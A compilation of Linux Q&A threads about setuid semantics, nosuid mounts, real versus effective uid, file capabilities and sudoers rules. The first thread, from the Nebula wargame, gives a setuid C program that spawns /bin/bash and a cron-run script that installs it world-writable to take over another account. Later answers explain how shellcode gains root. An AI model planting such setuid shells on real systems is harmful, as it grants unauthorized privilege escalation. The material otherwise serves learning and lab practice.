In Linux, does the location of an executable affect how the setuid bit is interpreted? - linux

In a Linux system, does the permissions of the directory in which a setuid program resides affect how the kernel launches the process? The reason I ask is that when I compiled an identical setuid program in two different directories, it only actually assumed the user permissions in one directory. I compiled it in /tmp and /home/flag03 where flag03 is the user account that I am attempting to gain access to. When executed from /tmp it did not escalate privileges as expected, but it worked under /home.
Some background on the problem:
I'm working on level 03 of exploit-exercises.com/nebula. The exercise requires that you gain access to a flag03 user account. The exercise is setup so that the flag03 user is periodically running a cronjob which will allow you to execute a script in a specific directory. My plan was to write a simple bash script which will compile a setuid program that itself launches a bash shell, and then set the setuid bit with chmod +s. The idea is that when the setuid program is compiled, it is compiled by user flag03 via the cronjob. Once this newly compiled program is executed, it will launch a shell as user flag03, and that is the goal.
Here is the simple setuid program (l3.c, based on levels 1 + 2):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv, char **envp)
{
uid_t uid;
gid_t gid;
uid = geteuid();
gid = getegid();
setresuid(uid,uid,uid);
setresgid(gid,gid,gid);
printf("uid: %d\n", getuid());
printf("gid: %d\n", getgid());
system("/bin/bash");
return 0;
}
In order for this to work, a bash script compiles the program as user flag03 and then chmods the setuid bit.
#!/bin/bash
#gcc -o /tmp/l3 /tmp/l3.c
#chmod +s,a+rwx /tmp/l3
gcc -o /home/flag03/l3 /tmp/l3.c
chmod +s,a+rwx /home/flag03/l3
The executable generated in /tmp does not escalate privileges as expected, but the one generated in /home/flag03 works as expected.
NOTE I just created a new bash script to move the version of the setuid program that was compiled in /tmp to /home/flag03, and then reset the setuid bit. When executed from there, that version worked as well. So it appears to me that the permissions of the directory in which the setuid program resides has some kind of impact with how the process is launch. Maybe this is related to /tmp being a somewhat "special" directory?
Thanks for any interest in this long-winded question!

If the filesystem is mounted with the nosuid option, the suid bit will be ignored when executing files located there. As I understand it, /tmp is usually a separate filesystem (often tmpfs) mounted with the nosuid option. The motivation for this configuration is preventing a compromised account that has no writable storage except /tmp (e.g. nobody) from being able to produce suid binaries, which may be used in certain elaborate multi-step attacks to elevate privilege.

Related

Why the set-uid operation can't be used in an excutable file?

When learning the system security in the ubuntu 20.04 on the VMware, I tried the set-uid operation and found the fllowing question:
With the excutable file catcall compiled by the source code caltcall.c:
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char* argv[]){
char *cat = "/bin/cat";
if(argc < 2){
printf("please type a file name.\n");
return 1;
}
char *command = malloc(strlen(cat) + strlen(argv[1] + 2));
sprintf(command, "%s %s",cat, argv[1]);
system(command);
return 0;
}
I complete the set-uid operation through the following codes:
$ sudo chown root catcall
$ sudo chmod 4755 catcall
When excuting the excutable file catcall, I thought I can see the content of the file /etc/shadow, for the 'catcall' has been set to the Set-Uid programme.
But the operation is denied when trying to access the etc/shadow:
/bin/cat: /etc/shadow: Permission denied
Why did the set-uid operation failed?
Each process actually has two user ids, a real uid and an effective uid, see Difference between Real User ID, Effective User ID and Saved User ID. Normally they are equal. Setting the setuid bit causes the effective uid to be set to the owner of the binary upon exec, but the real uid remains unchanged, and will normally still be the uid of the user who actually ran the program.
So when your program starts, the effective uid will be root and the real uid will be dim_shimmer. Now you have chosen to try to start your program via system(), which executes the specified command using the shell. However, many shells have a security feature where they compare the real and effective uid, and if they are not equal, they set the effective uid equal to the real uid. (For instance, this avoids a disaster in case the sysadmin accidentally does chmod +s /bin/sh). I suspect that's what's happening here. So by the time your cat command runs, your real and effective uid are both dim_shimmer again, and that user does not have permission to read /etc/shadow.
If you run your cat command using execl instead (or one of its relatives), so as to bypass the shell, then I suspect you'll find that it works.

Allow non-root user to process.setuid to certain other user

I run a Node.js process as a non-root user with very limited rights (limited_user).
However, inside this application, there is a potentially attackable part which I (among other security precautions) would like to run as an even less privileged user. I'd like to do that by putting this part of the program to a different file and execute it with childProc.execSync("node my_dangerous_subprocess.js");
Inside that file, process.setuid('very_limited_user'); is used to switch to a different user.
That works, as long as I run the main process as root/sudo. However, I don't want that. The process should be run by limited_user - without sudo rights, if possible.
So, running on Ubuntu 16.04 LS, what can I do to allow a certain non-root user (limited_user) to switch to a certain other user (very_limited_user) via process.setuid?
Node.js version used is 6.10.2.
You can not only use the sudo command to run some program as administrator but the sudo command can also be used to run some program as certain user.
I don't know if it is possible to configure sudo in a way that a certain command can be executed as certain user without asking for a password.
So what you would do is:
childProc.execSync("sudo -u very_limited_user node my_dangerous_subprocess.js");
I myself would not do this because I'm not aware of the sudo configuration files (and I'd fear to destroy those files in a way that sudo does not work any more) but I can program C well enough.
I'd write the following program:
#include <stdio.h>
#include <unistd.h>
int main()
{
int i;
i=geteuid();
setreuid(i,i);
i=getegid();
setregid(i,i);
execlp("node","node","my_dangerous_subprocess.js",NULL);
fprintf(stderr,"Could not execute node!\n");
return 1;
}
(Note that "node" appears twice as argument of execlp().)
I'd compile the program and change the user ID, the group ID and the flags of the resulting executable file (in this example the C source file is named "my_dangerous_part.c"):
gcc -o my_dangerous_part.bin my_dangerous_part.c
sudo chown less_privileged_user:less_privileged_group my_dangerous_part.bin
sudo chmod 6755 my_dangerous_part.bin
Then I could run the program like this:
childProc.execSync("/directory_containing_the_file/my_dangerous_part.bin");

Raw capture capabilities (CAP_NET_RAW, CAP_NET_ADMIN) not working outside /usr/bin and friends for packet capture program using libpcap

TL;DR: Why are cap_net_raw, cap_net_admin capabilities only working in /usr/bin (or /usr/sbin), but not other places? Can this be configured someplace?
I'm having problems assigning capabilities to my C program utilizing libpcap in Ubuntu 14.04. Even after assigning capabilities using setcap(8) and checking it using getcap(8), I still get a permission error. It seems capabilities only work for executables in \usr\bin and friends.
My program test.c looks as follows:
#include <stdio.h>
#include <pcap.h>
int main(int argc, char **argv) {
if (argc != 2) {
printf("Specify interface \n");
return -1;
}
char errbuf[PCAP_ERRBUF_SIZE];
struct pcap* pcap = pcap_open_live(argv[1], BUFSIZ, 1, 0, errbuf);
if (pcap == NULL) {
printf("%s\n", errbuf);
return -1;
}
return 0;
}
and is compiled with
gcc test.c -lpcap
generating a.out executable. I set capabilities:
sudo setcap cap_net_raw,cap_net_admin=eip ./a.out
And check to see that it looks right:
getcap a.out
which gives me
a.out = cap_net_admin,cap_net_raw+eip
Running a.out gives me:
./a.out eth0
eth0: You don't have permission to capture on that device (socket: Operation not permitted)
Running with sudo works as expected (program prints nothing and exits).
Here's the interesting part: If I move a.out to /usr/bin (and reapply the capabilities), it works. Vice versa: taking the capability-enabled /usr/bin/dumpcap from wireshark (which works fine for users in the wireshark group) and moving it out of /usr/bin, say to my home dir, reapplying the same capabilities, it doesn't work. Moving it back, it works.
SO: Why are these capabilities only working in /usr/bin (and /usr/sbin), but not other places? Can this be configured someplace?
This might be because your home directory is mounted with nosuid, which seems to prevent capabilities working. Ubuntu encrypts the home directory, and mounts that with ecryptfs as nosuid.
Binaries with capabilities work for me in /usr/, and /home/, but not my home directory.
The only reference I could find to nosuid defeating capabilities is this link: http://www.gossamer-threads.com/lists/linux/kernel/1860853#1860853. I would love to find an authoritative source.

Allowing a non-root user to drop cache

I am carrying out performance tests on a system where I need to ensure I am reading data from the disk, and that it is not just cached (say from earlier tests). I read here that I can drop cache with the command
echo 3 | sudo tee /proc/sys/vm/drop_caches
However, note that even though my account is an admin account (login peter), it still requires my password. I want to be able to run this in a batch script without the requirement to input a password (as this is obviously manual)
More research led me to the sudoers file. My plan was to place the above command into a one line script called dropCache, and edit sudoers so that I could run it without entering a password. So I added the line
ALL ALL=(ALL)NOPASSWD:/home/peter/dropCache
at the end of my sudoers file (using visudo). With my admin account, if I run
sudo -l
I get
(ALL) NOPASSWD: /home/peter/dropCache
However, if I run my dropCache script I still get asked for my password
./dropCache
[sudo] password for peter:
Any help with this would be much appreciated. I am running Ubuntu 12.04
Thanks
Peter
What I did when I needed this was I wrote a small C program, changed the owner of the compiled file to root, and set the setuid bit.
Here is the source code:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
extern void sync(void);
int main(void) {
if (geteuid() != 0) {
fprintf(stderr, "flush-cache: Not root\n");
exit(EXIT_FAILURE);
}
printf("Flushing page cache, dentries and inodes...\n");
// First: the traditional three sync calls. Perhaps not needed?
// For security reasons, system("sync") is not a good idea.
sync();
sync();
sync();
FILE* f;
f = fopen("/proc/sys/vm/drop_caches", "w");
if (f == NULL) {
fprintf(stderr, "flush-cache: Couldn't open /proc/sys/vm/drop_caches\n");
exit(EXIT_FAILURE);
}
if (fprintf(f, "3\n") != 2) {
fprintf(stderr, "flush-cache: Couldn't write 3 to /proc/sys/vm/drop_caches\n");
exit(EXIT_FAILURE);
}
fclose(f);
printf("Done flushing.\n");
return 0;
}
I tried this on Ubuntu 21.04 and it works:
Step 1: create a small script like below (assuming the name to be clear_drop_cacahes.sh):
#!/bin/sh
# Run a sync to reduce dirty caches
sync
# Tell the OS to clear caches
echo 3 > /proc/sys/vm/drop_caches
Step 2: make the script executable: chmod 744 clear_drop_caches.sh
Step 3: need to do this with someone with sudo right:
sudo visudo
Add the following line (to the end of the file)
ALL ALL=(ALL) NOPASSWD:/path-to-the-small-script/clear_drop_caches.sh
Step 4: now any user can run the drop caches script like below:
sudo /path-to-the-small-script/clear_drop_caches.sh
I am not sure about the security of doing something like this.

Shellcode as payload for buffer overflow (or other) exploits executed as root?

When I use shellcode such as the ones provided here* as payload to some vulnerable program, how is the shell executed as root? I am asking about how the privileges are elevated to root? The shellcode doesn't seem to call setuid or anything to change user.
* http://www.tenouk.com/Bufferoverflowc/Bufferoverflow5.html
Those examples include the following:
mov $70, %al #setreuid is syscall 70
So they're using the setreuid(2) syscall, which sets both the real and effective user IDs of the process:
int setreuid(uid_t ruid, uid_t euid);
In order to execute shellcode you need a vulnerability like a buffer overflow. The shellcode has all of the rights as the running process. So if you exploit a binary that is setuid root like the passwd command or otherwise running as root such as the cupsd daemon process then the attacker will have root access. The kernel can also suffer from a buffer overflow, and root access can be obtained this way as well.
first you need to giving the program as root privileges (use chown and chmod as root). and you need setreuid() for your payload. that's would give you root, if you can exploit the program by other user.
Of course, if your vuln program has an owner root and your shellcode have a setuid(0) syscall, you can execute /bin/sh as root

Resources